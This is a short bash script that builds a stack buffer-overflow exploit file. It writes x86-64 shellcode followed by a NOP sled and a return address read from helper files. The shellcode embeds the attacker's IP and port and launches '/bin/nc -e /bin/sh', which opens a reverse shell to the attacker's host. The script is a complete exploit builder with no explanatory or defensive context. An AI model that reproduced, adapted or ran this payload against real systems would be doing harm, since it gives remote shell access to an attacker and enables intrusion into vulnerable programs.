#!/bin/bash
if [ $# -lt 2 ]
then
  echo "Usage: $0 <ip> <port>"
  exit
fi

IP=$1
PORT=$2
EXPLOIT_PART_1="\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff"
EXPLOIT_PART_2="\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11\x41\x59\x52\x51\x53\x41\x52\x41\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff"
RETURN_ADRESS_LENGTH=`ls -l ../return_adress | cut -d " " -f 5`

echo -n -e $EXPLOIT_PART_1 > PoC
echo -n $PORT >> PoC
echo -n -e $EXPLOIT_PART_2 >> PoC
echo -n $IP >> PoC

NOPS_LENGTH=`cat ../length`
NOPS_LENGTH=$(expr $NOPS_LENGTH - ${#IP})
NOPS_LENGTH=$(expr $NOPS_LENGTH - ${#PORT})
TEMP=`echo -n -e $EXPLOIT_PART_1`
NOPS_LENGTH=$(expr $NOPS_LENGTH - ${#TEMP})
TEMP=`echo -n -e $EXPLOIT_PART_2`
NOPS_LENGTH=$(expr $NOPS_LENGTH - ${#TEMP})
NOPS_LENGTH=$(expr $NOPS_LENGTH - ${RETURN_ADRESS_LENGTH})

for (( i=1; i<=$NOPS_LENGTH; i++ ))
do
	echo -n -e "\x90" >> PoC
done

cat ../return_adress >> PoC

cat PoC
